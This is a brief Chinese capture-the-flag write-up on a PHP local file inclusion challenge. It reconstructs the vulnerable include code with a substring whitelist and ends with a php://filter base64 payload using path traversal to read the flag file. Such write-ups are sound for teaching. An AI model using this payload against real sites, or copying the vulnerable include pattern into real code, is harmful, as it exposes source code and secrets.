打开后看到有两个按钮
    image.png
    随便按一个,发现url变成

    1. http://0693ace0-79ef-4131-bb2b-5507cba27da6.node3.buuoj.cn/index.php?category=woofers

    猜测可能是任意文件读取,随便传一个参数,发现只接受woofers和meowers。
    image.png
    后面尝试的时候发现报错了
    image.png
    可以看到passwd后面多了个.php
    那么代码逻辑应该是:

    1. <?php include($_GET['category'].'.php')?>

    那么就先试试读取index的源码:

    1. <?php
    2. $file = $_GET['category'];
    3. if(isset($file))
    4. {
    5. if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
    6. include ($file . '.php');
    7. }
    8. else{
    9. echo "Sorry, we currently only support woofers and meowers.";
    10. }
    11. }
    12. ?>

    但是并没有其他可以利用的点
    接着想办法绕过添加后缀,原本的思路是用%00截断。
    但是截断是截断成功了,不知道为什么包含不了,只能直接读取flag

    1. ?category=php://filter/convert.base64-encode/resource=woofers/../flag